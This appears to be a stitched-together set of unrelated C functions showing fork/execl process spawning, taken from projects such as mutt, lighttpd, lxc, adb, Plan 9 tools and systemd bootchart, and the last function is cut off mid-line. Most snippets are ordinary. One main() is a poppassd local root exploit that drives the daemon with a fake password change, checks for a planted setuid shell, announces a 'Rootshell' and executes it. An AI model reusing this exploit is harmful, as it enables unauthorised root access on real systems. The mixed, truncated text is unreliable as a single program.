static void crash_catcher(int signum, siginfo_t *siginfo, void *context) { //ucontext_t *ucontext = (ucontext_t*)context; pid_t dbg_pid; int fd[2]; /* Make sure the effective uid is the real uid */ if(getuid() != geteuid()) { raise(signum); return; } safe_write(STDERR_FILENO, fatal_err, sizeof(fatal_err)-1); if(pipe(fd) == -1) { safe_write(STDERR_FILENO, pipe_err, sizeof(pipe_err)-1); raise(signum); return; } crash_info.signum = signum; crash_info.pid = getpid(); crash_info.has_siginfo = !!siginfo; if(siginfo) crash_info.siginfo = *siginfo; if(cc_user_info) cc_user_info(crash_info.buf, crash_info.buf+sizeof(crash_info.buf)); /* Fork off to start a crash handler */ switch((dbg_pid=fork())) { /* Error */ case -1: safe_write(STDERR_FILENO, fork_err, sizeof(fork_err)-1); raise(signum); return; case 0: dup2(fd[0], STDIN_FILENO); close(fd[0]); close(fd[1]); execl(argv0, argv0, crash_switch, NULL); safe_write(STDERR_FILENO, exec_err, sizeof(exec_err)-1); _exit(1); default: #ifdef __linux__ prctl(PR_SET_PTRACER, dbg_pid, 0, 0, 0); #endif safe_write(fd[1], &crash_info, sizeof(crash_info)); close(fd[0]); close(fd[1]); /* Wait; we'll be killed when gdb is done */ do { int status; if(waitpid(dbg_pid, &status, 0) == dbg_pid && (WIFEXITED(status) || WIFSIGNALED(status))) { /* The debug process died before it could kill us */ raise(signum); break; } } while(1); } }
static int setup_child(pid_t *pid, const char *term, const char *attr, char *const *argv) { int master; char ttyname[20]; DBUG_ENTER("setup_child"); switch ((*pid = pty_fork(&master, ttyname, 0, 0))) { case -1: DBUG_PRINT("startup", ("forkpty: failed")); DBUG_RETURN(-errno); /*NOTREACHED*/ case 0: { const char *shell; DBUG_PROCESS("child"); DBUG_PRINT("info", ("TERM=%s", term)); if (term) setenv("TERM", term, 1); DBUG_PRINT("info", ("attributes=%s", attr)); if (attr) init_pty(0, attr); if (!(shell = argv[0])) { char *s0; uid_t uid; struct passwd *pw; shell = "/bin/bash"; s0 = "-bash"; /* get user's login shell */ if (!(pw = getpwuid(uid = getuid()))) { DBUG_PRINT("error", ("getpwuid(%ld) failed: %s", uid, strerror(errno))); } else if (!(shell = pw->pw_shell) || *shell != '/') { DBUG_PRINT("error", ("bad shell for user id %ld", uid)); } else { DBUG_PRINT("info", ("got shell %s", shell)); s0 = strrchr(shell, '/'); s0 = str_dup(s0); assert(s0 != 0); s0[0] = '-'; } DBUG_PRINT("info", ("startup %s (%s)", shell, s0)); execl(shell, s0, (char *)0); } else { DBUG_PRINT("info", ("startup %s", *argv)); execvp(*argv, argv); } DBUG_PRINT("error", ("exec* failed: %s", strerror(errno))); perror(shell); exit(111); /*NOTREACHED*/ } default: { // Parent process. fcntl(master, F_SETFL, O_NONBLOCK); char *dev = ptsname(master); if (dev) { struct utmp ut; memset(&ut, 0, sizeof ut); if (!strncmp(dev, "/dev/", 5)) dev += 5; strlcpy(ut.ut_line, dev, sizeof ut.ut_line); if (dev[1] == 't' && dev[2] == 'y') dev += 3; if (!strncmp(dev, "pts/", 4)) dev += 4; strncpy(ut.ut_id, dev, sizeof ut.ut_id); ut.ut_type = USER_PROCESS; ut.ut_pid = (long int)*pid; ut.ut_time = time(0); strlcpy(ut.ut_user, getlogin() ?: "?", sizeof ut.ut_user); gethostname(ut.ut_host, sizeof ut.ut_host); login(&ut); } } } DBUG_PRINT("startup", ("forkpty:pid=%ld:master=%d:ttyname=%s", (long int)*pid, master, ttyname)); DBUG_RETURN(master); }
int _mutt_system (const char *cmd, int flags) { int rc = -1; struct sigaction act; struct sigaction oldtstp; struct sigaction oldcont; sigset_t set; pid_t thepid; if (!cmd || !*cmd) return (0); /* must ignore SIGINT and SIGQUIT */ mutt_block_signals_system (); /* also don't want to be stopped right now */ if (flags & M_DETACH_PROCESS) { sigemptyset (&set); sigaddset (&set, SIGTSTP); sigprocmask (SIG_BLOCK, &set, NULL); } else { act.sa_handler = SIG_DFL; /* we want to restart the waitpid() below */ #ifdef SA_RESTART act.sa_flags = SA_RESTART; #endif sigemptyset (&act.sa_mask); sigaction (SIGTSTP, &act, &oldtstp); sigaction (SIGCONT, &act, &oldcont); } if ((thepid = fork ()) == 0) { act.sa_flags = 0; if (flags & M_DETACH_PROCESS) { int fd; /* give up controlling terminal */ setsid (); switch (fork ()) { case 0: #if defined(OPEN_MAX) for (fd = 0; fd < OPEN_MAX; fd++) close (fd); #elif defined(_POSIX_OPEN_MAX) for (fd = 0; fd < _POSIX_OPEN_MAX; fd++) close (fd); #else close (0); close (1); close (2); #endif chdir ("/"); act.sa_handler = SIG_DFL; sigaction (SIGCHLD, &act, NULL); break; case -1: _exit (127); default: _exit (0); } } /* reset signals for the child; not really needed, but... */ mutt_unblock_signals_system (0); act.sa_handler = SIG_DFL; act.sa_flags = 0; sigemptyset (&act.sa_mask); sigaction (SIGTERM, &act, NULL); sigaction (SIGTSTP, &act, NULL); sigaction (SIGCONT, &act, NULL); execl ("/bin/bash", "sh", "-c", cmd, NULL); _exit (127); /* execl error */ } else if (thepid != -1) { #ifndef USE_IMAP /* wait for the (first) child process to finish */ waitpid (thepid, &rc, 0); #else rc = imap_wait_keepalive (thepid); #endif } sigaction (SIGCONT, &oldcont, NULL); sigaction (SIGTSTP, &oldtstp, NULL); /* reset SIGINT, SIGQUIT and SIGCHLD */ mutt_unblock_signals_system (1); if (flags & M_DETACH_PROCESS) sigprocmask (SIG_UNBLOCK, &set, NULL); rc = (thepid != -1) ? (WIFEXITED (rc) ? WEXITSTATUS (rc) : -1) : -1; return (rc); }
/* * send mail */ int mail(Fs *f, char *rcvr, char *user, long et) { int pid, i, fd; int pfd[2]; char *ct, *p; Waitmsg *w; char buf[128]; if(pipe(pfd) < 0){ complain("out of pipes: %r"); return 0; } switch(pid = fork()){ case -1: complain("can't fork: %r"); return 0; case 0: break; default: if(debug) fprint(2, "started %d\n", pid); close(pfd[0]); ct = ctime(et); p = strchr(ct, '\n'); *p = '.'; fprint(pfd[1], "User '%s's %s expires on %s\n", user, f->msg, ct); if(f != fs) fprint(pfd[1], "If you wish to renew contact your local administrator.\n"); p = strrchr(f->keys, '/'); if(p) p++; else p = f->keys; snprint(buf, sizeof buf, "/adm/warn.%s", p); fd = open(buf, OREAD); if(fd >= 0){ while((i = read(fd, buf, sizeof(buf))) > 0) write(pfd[1], buf, i); close(fd); } close(pfd[1]); /* wait for warning to be mailed */ for(;;){ w = wait(); if(w == nil) break; if(w->pid == pid){ if(debug) fprint(2, "%d terminated: %s\n", pid, w->msg); if(w->msg[0] == 0){ free(w); break; }else{ free(w); return 0; } }else free(w); } return 1; } /* get out of the current namespace */ newns("none", 0); dup(pfd[0], 0); close(pfd[0]); close(pfd[1]); putenv("upasname", "netkeys"); if(debug){ print("\nto %s\n", rcvr); execl("/bin/cat", "cat", nil); } execl("/bin/upas/send", "send", "-r", rcvr, nil); /* just in case */ sysfatal("can't exec send: %r"); return 0; /* for compiler */ }
/* * popen_with_stderr * * standard popen doesn't redirect stderr from the child process. * we need stderr in order to display the error that child process * encountered and show it to the user. This is, therefore, a wrapper * around a set of file descriptor redirections and a fork. * * if 'forwrite' is set then we set the data pipe write side on the * parent. otherwise, we set the read side on the parent. */ int popen_with_stderr(int *pipes, const char *exe, bool forwrite) { int data[2]; /* pipe to send data child <--> parent */ int err[2]; /* pipe to send errors child --> parent */ int pid = -1; const int READ = 0; const int WRITE = 1; if (pgpipe(data) < 0) return -1; if (pgpipe(err) < 0) { close(data[READ]); close(data[WRITE]); return -1; } #ifndef WIN32 pid = fork(); if (pid > 0) /* parent */ { if (forwrite) { /* parent writes to child */ close(data[READ]); pipes[EXEC_DATA_P] = data[WRITE]; } else { /* parent reads from child */ close(data[WRITE]); pipes[EXEC_DATA_P] = data[READ]; } close(err[WRITE]); pipes[EXEC_ERR_P] = err[READ]; return pid; } else if (pid == 0) /* child */ { /* * set up the data pipe */ if (forwrite) { close(data[WRITE]); close(fileno(stdin)); /* assign pipes to parent to stdin */ if (dup2(data[READ], fileno(stdin)) < 0) { perror("dup2 error"); exit(EXIT_FAILURE); } /* no longer needed after the duplication */ close(data[READ]); } else { close(data[READ]); close(fileno(stdout)); /* assign pipes to parent to stdout */ if (dup2(data[WRITE], fileno(stdout)) < 0) { perror("dup2 error"); exit(EXIT_FAILURE); } /* no longer needed after the duplication */ close(data[WRITE]); } /* * now set up the error pipe */ close(err[READ]); close(fileno(stderr)); if (dup2(err[WRITE], fileno(stderr)) < 0) { if(forwrite) close(data[WRITE]); else close(data[READ]); perror("dup2 error"); exit(EXIT_FAILURE); } close(err[WRITE]); /* go ahead and execute the user command */ execl("/bin/sh", "sh", "-c", exe, NULL); /* if we're here an error occurred */ exit(EXIT_FAILURE); } else { if(forwrite) { close(data[WRITE]); close(data[READ]); } else { close(data[READ]); close(data[WRITE]); } close(err[READ]); close(err[WRITE]); return -1; } #endif return pid; }
/* * convert a man page to html and output */ void doconvert(char *uri, int vermaj) { char *p; char file[256]; char title[256]; char err[ERRMAX]; int pfd[2]; Dir *d; Waitmsg *w; int x; if(strstr(uri, "..")) error("bad URI", "man page URI cannot contain .."); p = strstr(uri, "/intro"); if(p == nil){ while(*uri == '/') uri++; /* redirect section requests */ snprint(file, sizeof(file), "/sys/man/%s", uri); d = dirstat(file); if(d == nil){ strlwr(file); if(dirstat(file) != nil){ snprint(file, sizeof(file), "/magic/man2html/%s", uri); strlwr(file); redirectto(file); } error(uri, "man page not found"); } x = d->qid.type; free(d); if(x & QTDIR){ if(*uri == 0 || strcmp(uri, "/") == 0) redirectto("/sys/man/index.html"); else { snprint(file, sizeof(file), "/sys/man/%s/INDEX.html", uri+1); redirectto(file); } return; } } else { /* rewrite the name intro */ *p = 0; snprint(file, sizeof(file), "/sys/man/%s/0intro", uri); d = dirstat(file); free(d); if(d == nil) error(uri, "man page not found"); } if(vermaj){ hokheaders(connect); hprint(hout, "Content-type: text/html\r\n"); hprint(hout, "\r\n"); } hflush(hout); if(pipe(pfd) < 0) error("out of resources", "pipe failed"); /* troff -manhtml <file> | troff2html -t '' */ switch(fork()){ case -1: error("out of resources", "fork failed"); case 0: snprint(title, sizeof(title), "Plan 9 %s", file); close(0); dup(pfd[0], 0); close(pfd[0]); close(pfd[1]); execl("/bin/troff2html", "troff2html", "-t", title, nil); errstr(err, sizeof err); exits(err); } switch(fork()){ case -1: error("out of resources", "fork failed"); case 0: snprint(title, sizeof(title), "Plan 9 %s", file); close(0); close(1); dup(pfd[1], 1); close(pfd[0]); close(pfd[1]); execl("/bin/troff", "troff", "-manhtml", file, nil); errstr(err, sizeof err); exits(err); } close(pfd[0]); close(pfd[1]); /* wait for completion */ for(;;){ w = wait(); if(w == nil) break; if(w->msg[0] != 0) print("whoops %s\n", w->msg); free(w); } }
int open_logfile_or_pipe(server *srv, const char* logfile) { int fd; if (logfile[0] == '|') { #ifdef HAVE_FORK /* create write pipe and spawn process */ int to_log_fds[2]; if (pipe(to_log_fds)) { log_error_write(srv, __FILE__, __LINE__, "ss", "pipe failed: ", strerror(errno)); return -1; } /* fork, execve */ switch (fork()) { case 0: /* child */ close(STDIN_FILENO); /* dup the filehandle to STDIN */ if (to_log_fds[0] != STDIN_FILENO) { if (STDIN_FILENO != dup2(to_log_fds[0], STDIN_FILENO)) { log_error_write(srv, __FILE__, __LINE__, "ss", "dup2 failed: ", strerror(errno)); exit(-1); } close(to_log_fds[0]); } close(to_log_fds[1]); #ifndef FD_CLOEXEC { int i; /* we don't need the client socket */ for (i = 3; i < 256; i++) { close(i); } } #endif /* close old stderr */ openDevNull(STDERR_FILENO); /* exec the log-process (skip the | ) */ execl("/bin/sh", "sh", "-c", logfile + 1, NULL); log_error_write(srv, __FILE__, __LINE__, "sss", "spawning log process failed: ", strerror(errno), logfile + 1); exit(-1); break; case -1: /* error */ log_error_write(srv, __FILE__, __LINE__, "ss", "fork failed: ", strerror(errno)); return -1; default: close(to_log_fds[0]); fd = to_log_fds[1]; break; } #else return -1; #endif } else if (-1 == (fd = open(logfile, O_APPEND | O_WRONLY | O_CREAT | O_LARGEFILE, 0644))) { log_error_write(srv, __FILE__, __LINE__, "SSSS", "opening errorlog '", logfile, "' failed: ", strerror(errno)); return -1; } fd_close_on_exec(fd); return fd; }
int main(int argc, char** argv) { GError *err = NULL; GMappedFile *map; char *buf = NULL, *pbuf = NULL, *data = NULL, *end; gsize len = 0; char *extract_path; gtk_init( &argc, &argv ); /* load the executable file itself */ map = g_mapped_file_new( argv[0], FALSE, NULL ); if( !map ) return 1; buf = g_mapped_file_get_contents(map); len = g_mapped_file_get_length( map ); /* find the data */ magic[0] = '_'; for( pbuf = buf, end = buf + len - magic_len; G_LIKELY( pbuf < end ); ++pbuf ) { if( G_UNLIKELY( 0 == memcmp( pbuf, magic, magic_len ) ) ) { data = pbuf + magic_len + 1; break; } } if( G_UNLIKELY( ! data ) ) { g_mapped_file_free( map ); show_error( "檔案損毀,請重新下載。" ); return 1; /* error! no data found */ } len -= (data - buf); /* skip ourself */ extract_path = g_strconcat( "/tmp/Lazybuntu-", g_get_user_name(), NULL ); g_mkdir_with_parents( extract_path, 0755 ); /* FIXME: is 0755 OK? */ cmdv[3] = extract_path; if( g_spawn_async_with_pipes( NULL, cmdv, NULL, G_SPAWN_SEARCH_PATH|G_SPAWN_DO_NOT_REAP_CHILD, NULL, NULL, &pid, &std_in, NULL, NULL, &err ) ) { int status = 0; write( std_in, data, len ); close( std_in ); waitpid( pid, &status, 0 ); g_spawn_close_pid( pid ); } else { show_error( err->message ); g_error_free( err ); } g_mapped_file_free( map ); g_chdir( extract_path ); g_free( extract_path ); g_chdir( "Lazybuntu" ); execl( "Lazybuntu", NULL ); show_error("錯誤,無法執行 Lazybuntu!"); return 0; }
extern struct lxc_popen_FILE *lxc_popen(const char *command) { struct lxc_popen_FILE *fp = NULL; int parent_end = -1, child_end = -1; int pipe_fds[2]; pid_t child_pid; int r = pipe2(pipe_fds, O_CLOEXEC); if (r < 0) { ERROR("pipe2 failure"); return NULL; } parent_end = pipe_fds[0]; child_end = pipe_fds[1]; child_pid = fork(); if (child_pid == 0) { /* child */ int child_std_end = STDOUT_FILENO; if (child_end != child_std_end) { /* dup2() doesn't dup close-on-exec flag */ dup2(child_end, child_std_end); /* it's safe not to close child_end here * as it's marked close-on-exec anyway */ } else { /* * The descriptor is already the one we will use. * But it must not be marked close-on-exec. * Undo the effects. */ if (fcntl(child_end, F_SETFD, 0) != 0) { SYSERROR("Failed to remove FD_CLOEXEC from fd."); exit(127); } } /* * Unblock signals. * This is the main/only reason * why we do our lousy popen() emulation. */ { sigset_t mask; sigfillset(&mask); sigprocmask(SIG_UNBLOCK, &mask, NULL); } execl("/bin/sh", "sh", "-c", command, (char *) NULL); exit(127); } /* parent */ close(child_end); child_end = -1; if (child_pid < 0) { ERROR("fork failure"); goto error; } fp = calloc(1, sizeof(*fp)); if (!fp) { ERROR("failed to allocate memory"); goto error; } fp->f = fdopen(parent_end, "r"); if (!fp->f) { ERROR("fdopen failure"); goto error; } fp->child_pid = child_pid; return fp; error: if (fp) { if (fp->f) { fclose(fp->f); parent_end = -1; /* so we do not close it second time */ } free(fp); } if (parent_end != -1) close(parent_end); return NULL; }
void main(int argc,char* argv[]){ struct timeval tv0,tv1; gettimeofday(&tv0,NULL); int res = 0; int launched_num = 0; int received_num = 0; register_signal(); srand(100); while(launched_num < num){ pid_t child; int random; random = rand()%6; child = fork(); if(child == 0){ printf("Rand = %d\n",random); switch(random){ case 0: execl(P1,NULL); break; case 1: execl(P2,NULL); break; case 2: execl(P3,NULL); break; case 3: execl(P4,NULL); break; case 4: execl(P5,NULL); break; case 5: execl(P6,NULL); break; } res ++; exit(0); }else{ PIDs[launched_num] = child; Procs[launched_num] = random; launched_num++; } sleep(1); } while(received_num < num){ pid_t res; int status; res = wait(&status); received_num++; } printf("FINISH!!!!!!!\n"); gettimeofday(&tv1,NULL); printf("Result time : %f[sec]\n",elapsed(tv0,tv1)); }
int main(int argc, char *argv[]) { int whtl; char user_id[BUF_SZ]=D_NAME; char passwd[BUF_SZ]=D_NAME; char tg_path[BUF_SZ]=D_POPPASS; char df_sh[BUF_SZ]=D_SHELL; (void)banrl(); while((whtl=getopt(argc,argv,"U:u:P:p:T:t:Hh"))!=-1) { extern char *optarg; switch(whtl) { case 'U': case 'u': memset((char *)user_id,0,sizeof(user_id)); strncpy(user_id,optarg,sizeof(user_id)-1); break; case 'P': case 'p': memset((char *)passwd,0,sizeof(passwd)); strncpy(passwd,optarg,sizeof(passwd)-1); break; case 'T': case 't': memset((char *)tg_path,0,sizeof(tg_path)); strncpy(tg_path,optarg,sizeof(tg_path)-1); break; case 'H': case 'h': (void)usage(argv[0]); break; case '?': fprintf(stderr," Try `%s -i' for more information.\n\n",argv[0]); exit(-1); break; } } if(!strcmp(user_id,D_NAME)||!strcmp(passwd,D_NAME)) { (void)usage(argv[0]); exit(-1); } else { char comm[1024]; int out[2],in[2]; if(((int)m_sh())==-1) { fprintf(stdout," [-] exploit failed.\n\n"); exit(-1); } if(pipe(out)==-1) { perror(" [-] pipe() error"); exit(-1); } if(pipe(in)==-1) { perror(" [-] pipe() error"); exit(-1); } switch(fork()) { case -1: perror(" [-] fork() error"); break; case 0: close(out[0]); close(in[1]); dup2(out[1],STDOUT_FILENO); dup2(in[0],STDIN_FILENO); execl(tg_path,tg_path,"-s",D_EXEC,0); break; default: close(out[1]); close(in[0]); fprintf(stdout," [+] execute poppassd.\n"); memset((char *)comm,0,sizeof(comm)); read(out[0],comm,sizeof(comm)-1); fprintf(stdout," %s",comm); memset((char *)comm,0,sizeof(comm)); snprintf(comm,sizeof(comm)-1,"user %s\r\n",user_id); fprintf(stdout," [+] input username.\n"); write(in[1],comm,strlen(comm)); memset((char *)comm,0,sizeof(comm)); read(out[0],comm,sizeof(comm)-1); fprintf(stdout," %s",comm); memset((char *)comm,0,sizeof(comm)); snprintf(comm,sizeof(comm)-1,"pass %s\r\n",passwd); fprintf(stdout," [+] input password.\n"); write(in[1],comm,strlen(comm)); memset((char *)comm,0,sizeof(comm)); read(out[0],comm,sizeof(comm)-1); fprintf(stdout," %s",comm); memset((char *)comm,0,sizeof(comm)); snprintf(comm,sizeof(comm)-1,"newpass %s\r\n",passwd); fprintf(stdout," [+] input fake new password.\n"); write(in[1],comm,strlen(comm)); close(out[0]); close(in[1]); break; } fprintf(stdout," [+] wait, 2sec.\n"); sleep(2); if((stat(D_SHELL,&ss)==0)&&(ss.st_mode&S_ISUID)) { fprintf(stdout," [+] Ok, exploited successfully.\n"); fprintf(stdout," [*] It's Rootshell !\n\n"); unlink(D_EXEC); execl(D_SHELL,D_SHELL,0); } else { fprintf(stdout," [-] exploit failed.\n\n"); exit(-1); } } }
int launch_server(int server_port) { #if defined(_WIN32) /* we need to start the server in the background */ /* we create a PIPE that will be used to wait for the server's "OK" */ /* message since the pipe handles must be inheritable, we use a */ /* security attribute */ HANDLE nul_read, nul_write; HANDLE pipe_read, pipe_write; HANDLE stdout_handle, stderr_handle; SECURITY_ATTRIBUTES sa; STARTUPINFOW startup; PROCESS_INFORMATION pinfo; WCHAR program_path[ MAX_PATH ]; int ret; sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; /* Redirect stdin and stderr to Windows /dev/null. If we instead pass our * stdin/stderr handles and they are console handles, when the adb server * starts up, the C Runtime will see console handles for a process that * isn't connected to a console and it will configure stderr to be closed. * At that point, freopen() could be used to reopen stderr, but it would * take more massaging to fixup the file descriptor number that freopen() * uses. It's simplest to avoid all of this complexity by just redirecting * stdin/stderr to `nul' and then the C Runtime acts as expected. */ nul_read = CreateFileW(L"nul", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (nul_read == INVALID_HANDLE_VALUE) { fprintf(stderr, "CreateFileW(nul, GENERIC_READ) failed: %s\n", SystemErrorCodeToString(GetLastError()).c_str()); return -1; } nul_write = CreateFileW(L"nul", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (nul_write == INVALID_HANDLE_VALUE) { fprintf(stderr, "CreateFileW(nul, GENERIC_WRITE) failed: %s\n", SystemErrorCodeToString(GetLastError()).c_str()); CloseHandle(nul_read); return -1; } /* create pipe, and ensure its read handle isn't inheritable */ ret = CreatePipe( &pipe_read, &pipe_write, &sa, 0 ); if (!ret) { fprintf(stderr, "CreatePipe() failed: %s\n", SystemErrorCodeToString(GetLastError()).c_str()); CloseHandle(nul_read); CloseHandle(nul_write); return -1; } SetHandleInformation( pipe_read, HANDLE_FLAG_INHERIT, 0 ); /* Some programs want to launch an adb command and collect its output by * calling CreateProcess with inheritable stdout/stderr handles, then * using read() to get its output. When this happens, the stdout/stderr * handles passed to the adb client process will also be inheritable. * When starting the adb server here, care must be taken to reset them * to non-inheritable. * Otherwise, something bad happens: even if the adb command completes, * the calling process is stuck while read()-ing from the stdout/stderr * descriptors, because they're connected to corresponding handles in the * adb server process (even if the latter never uses/writes to them). */ stdout_handle = GetStdHandle( STD_OUTPUT_HANDLE ); stderr_handle = GetStdHandle( STD_ERROR_HANDLE ); if (stdout_handle != INVALID_HANDLE_VALUE) { SetHandleInformation( stdout_handle, HANDLE_FLAG_INHERIT, 0 ); } if (stderr_handle != INVALID_HANDLE_VALUE) { SetHandleInformation( stderr_handle, HANDLE_FLAG_INHERIT, 0 ); } ZeroMemory( &startup, sizeof(startup) ); startup.cb = sizeof(startup); startup.hStdInput = nul_read; startup.hStdOutput = nul_write; startup.hStdError = nul_write; startup.dwFlags = STARTF_USESTDHANDLES; ZeroMemory( &pinfo, sizeof(pinfo) ); /* get path of current program */ DWORD module_result = GetModuleFileNameW(NULL, program_path, arraysize(program_path)); if ((module_result == arraysize(program_path)) || (module_result == 0)) { // String truncation or some other error. fprintf(stderr, "GetModuleFileNameW() failed: %s\n", SystemErrorCodeToString(GetLastError()).c_str()); return -1; } // Verify that the pipe_write handle value can be passed on the command line // as %d and that the rest of adb code can pass it around in an int. const int pipe_write_as_int = cast_handle_to_int(pipe_write); if (cast_int_to_handle(pipe_write_as_int) != pipe_write) { // If this fires, either handle values are larger than 32-bits or else // there is a bug in our casting. // https://msdn.microsoft.com/en-us/library/windows/desktop/aa384203%28v=vs.85%29.aspx fprintf(stderr, "CreatePipe handle value too large: 0x%p\n", pipe_write); return -1; } WCHAR args[64]; snwprintf(args, arraysize(args), L"adb -P %d fork-server server --reply-fd %d", server_port, pipe_write_as_int); ret = CreateProcessW( program_path, /* program path */ args, /* the fork-server argument will set the debug = 2 in the child */ NULL, /* process handle is not inheritable */ NULL, /* thread handle is not inheritable */ TRUE, /* yes, inherit some handles */ DETACHED_PROCESS, /* the new process doesn't have a console */ NULL, /* use parent's environment block */ NULL, /* use parent's starting directory */ &startup, /* startup info, i.e. std handles */ &pinfo ); CloseHandle( nul_read ); CloseHandle( nul_write ); CloseHandle( pipe_write ); if (!ret) { fprintf(stderr, "CreateProcess failed: %s\n", SystemErrorCodeToString(GetLastError()).c_str()); CloseHandle( pipe_read ); return -1; } CloseHandle( pinfo.hProcess ); CloseHandle( pinfo.hThread ); /* wait for the "OK\n" message */ { char temp[3]; DWORD count; ret = ReadFile( pipe_read, temp, 3, &count, NULL ); CloseHandle( pipe_read ); if ( !ret ) { fprintf(stderr, "could not read ok from ADB Server, error: %s\n", SystemErrorCodeToString(GetLastError()).c_str()); return -1; } if (count != 3 || temp[0] != 'O' || temp[1] != 'K' || temp[2] != '\n') { fprintf(stderr, "ADB server didn't ACK\n" ); return -1; } } #else /* !defined(_WIN32) */ char path[PATH_MAX]; int fd[2]; // set up a pipe so the child can tell us when it is ready. // fd[0] will be parent's end, and the child will write on fd[1] if (pipe(fd)) { fprintf(stderr, "pipe failed in launch_server, errno: %d\n", errno); return -1; } get_my_path(path, PATH_MAX); pid_t pid = fork(); if(pid < 0) return -1; if (pid == 0) { // child side of the fork adb_close(fd[0]); char str_port[30]; snprintf(str_port, sizeof(str_port), "%d", server_port); char reply_fd[30]; snprintf(reply_fd, sizeof(reply_fd), "%d", fd[1]); // child process int result = execl(path, "adb", "-P", str_port, "fork-server", "server", "--reply-fd", reply_fd, NULL); // this should not return fprintf(stderr, "OOPS! execl returned %d, errno: %d\n", result, errno); } else { // parent side of the fork char temp[3]; temp[0] = 'A'; temp[1] = 'B'; temp[2] = 'C'; // wait for the "OK\n" message adb_close(fd[1]); int ret = adb_read(fd[0], temp, 3); int saved_errno = errno; adb_close(fd[0]); if (ret < 0) { fprintf(stderr, "could not read ok from ADB Server, errno = %d\n", saved_errno); return -1; } if (ret != 3 || temp[0] != 'O' || temp[1] != 'K' || temp[2] != '\n') { fprintf(stderr, "ADB server didn't ACK\n" ); return -1; } setsid(); } #endif /* !defined(_WIN32) */ return 0; }
//************************************************************************** int main() { // catch signals so we can clean up everything before exitting // signals defined in /usr/include/signal.h // e.g. when we recieved an interrupt signal SIGINT, call die() sigset(SIGINT,die); // catch kill signals sigset(SIGBUS,die); // catch bus errors sigset(SIGHUP,die); sigset(SIGILL,die); // illegal instruction sigset(SIGQUIT,die); sigset(SIGABRT,die); sigset(SIGTERM,die); sigset(SIGSEGV,die); // catch segmentation faults sigset(SIGALRM,tick_handler); alarm(1); // signal from keyboard reader is SIGUSR1 (user-defined signal) // When there is input from the keyboard, call the kbd_handler() routine sigset(SIGUSR1,kbd_handler); /* Create a new mmap file for read/write access with permissions restricted to owner rwx access only */ fid = open(sfilename, O_RDWR | O_CREAT | O_EXCL, (mode_t) 0755 ); if (fid < 0){ printf("Bad Open of mmap file <%s>\n", sfilename); exit(0); }; fid2 = open(cfilename, O_RDWR | O_CREAT | O_EXCL, (mode_t) 0755 ); if (fid2 < 0){ printf("Bad Open of mmap file <%s>\n", cfilename); exit(0); }; // make the file the same size as the buffer status = ftruncate(fid, bufsize ); if (status){ printf("Failed to ftruncate the file <%s>, status = %d\n", sfilename, status ); exit(0); } status = ftruncate(fid2, bufsize ); if (status){ printf("Failed to ftruncate the file <%s>, status = %d\n", cfilename, status ); exit(0); } // pass parent's process id and the file id to child char childarg1[20], childarg2[20]; // arguments to pass to child process(es) int mypid = getpid(); // get current process pid sprintf(childarg1, "%d", mypid); // convert to string to pass to child sprintf(childarg2, "%d", fid); // convert the file identifier // now start doing whatever work you are supposed to do // in this case, do nothing; only the keyboard handler will do work printf("\nWelcome to the CCI, the OS is at your disposal: \n"); // create the keyboard reader process // fork() creates a second process identical to the current process, // except that the "parent" process has in_pid = new process's ID, // while the new (child) process has in_pid = 0. // After fork(), we do execl() to start the actual child program. // (see the fork and execl man pages for more info) in_pid_keyboard = fork(); if (in_pid_keyboard == 0) // is this the child process ? { execl("./keyboard", "keyboard", childarg1, childarg2, (char *)0); // should never reach here fprintf(stderr,"kernal: can't exec keyboard, errno %d\n",errno); cleanup(); exit(1); }; // pass parent's process id and the file id to child CRT sprintf(childarg1, "%d", mypid); // convert to string to pass to child sprintf(childarg2, "%d", fid2); // convert the file identifier in_pid_crt = fork(); if (in_pid_crt == 0) // is this the child process ? { execl("./crt", "crt", childarg1, childarg2, (char *)0); // should never reach here fprintf(stderr,"kernal: can't exec crt, errno %d\n",errno); cleanup(); exit(1); }; // the parent process continues executing here // sleep for a second to give the child process time to start sleep(1); // allocate a shared memory region using mmap // the child process also uses this region mmap_ptr_keyboard = mmap((caddr_t) 0, /* Memory location, 0 lets O/S choose */ bufsize, /* How many bytes to mmap */ PROT_READ | PROT_WRITE, /* Read and write permissions */ MAP_SHARED, /* Accessible by another process */ fid, /* the file associated with mmap */ (off_t) 0); /* Offset within a page frame */ if (mmap_ptr_keyboard == MAP_FAILED){ printf("Parent's memory map has failed for keyboard, about to quit!\n"); die(0); // do cleanup and terminate }; in_mem_p_key = (inputbuf *) mmap_ptr_keyboard; // pointer to shared memory // we can now use 'in_mem_p' as a standard C pointer to access // the created shared memory segment in_mem_p_key->ok_flag = 0; // allocate a shared memory region using mmap // the child process also uses this region mmap_ptr_crt = mmap((caddr_t) 0, /* Memory location, 0 lets O/S choose */ bufsize, /* How many bytes to mmap */ PROT_READ | PROT_WRITE, /* Read and write permissions */ MAP_SHARED, /* Accessible by another process */ fid2, /* the file associated with mmap */ (off_t) 0); /* Offset within a page frame */ if (mmap_ptr_crt == MAP_FAILED){ printf("Parent's memory map has failed for CRT, about to quit!\n"); die(0); // do cleanup and terminate }; in_mem_p_crt = (outputbuf *) mmap_ptr_crt; // pointer to shared memory // we can now use 'in_mem_p' as a standard C pointer to access // the created shared memory segment in_mem_p_crt->ok_flag = 0; while (1); // should never reach here, but in case we do, clean up after ourselves cleanup(); exit(1); } // main
int main(int argc, char *argv[]) { struct sigaction sig; struct ps_struct *ps; char output_file[PATH_MAX]; char datestr[200]; time_t t = 0; FILE *f; int gind; int i; rlim.rlim_cur = 4096; rlim.rlim_max = 4096; (void) setrlimit(RLIMIT_NOFILE, &rlim); f = fopen("/etc/systemd/bootchart.conf", "r"); if (f) { char buf[256]; char *key; char *val; while (fgets(buf, 80, f) != NULL) { char *c; c = strchr(buf, '\n'); if (c) *c = 0; /* remove trailing \n */ if (buf[0] == '#') continue; /* comment line */ key = strtok(buf, "="); if (!key) continue; val = strtok(NULL, "="); if (!val) continue; // todo: filter leading/trailing whitespace if (streq(key, "samples")) len = atoi(val); if (streq(key, "freq")) hz = atof(val); if (streq(key, "rel")) relative = atoi(val); if (streq(key, "filter")) filter = atoi(val); if (streq(key, "pss")) pss = atoi(val); if (streq(key, "output")) strncpy(output_path, val, PATH_MAX - 1); if (streq(key, "init")) strncpy(init_path, val, PATH_MAX 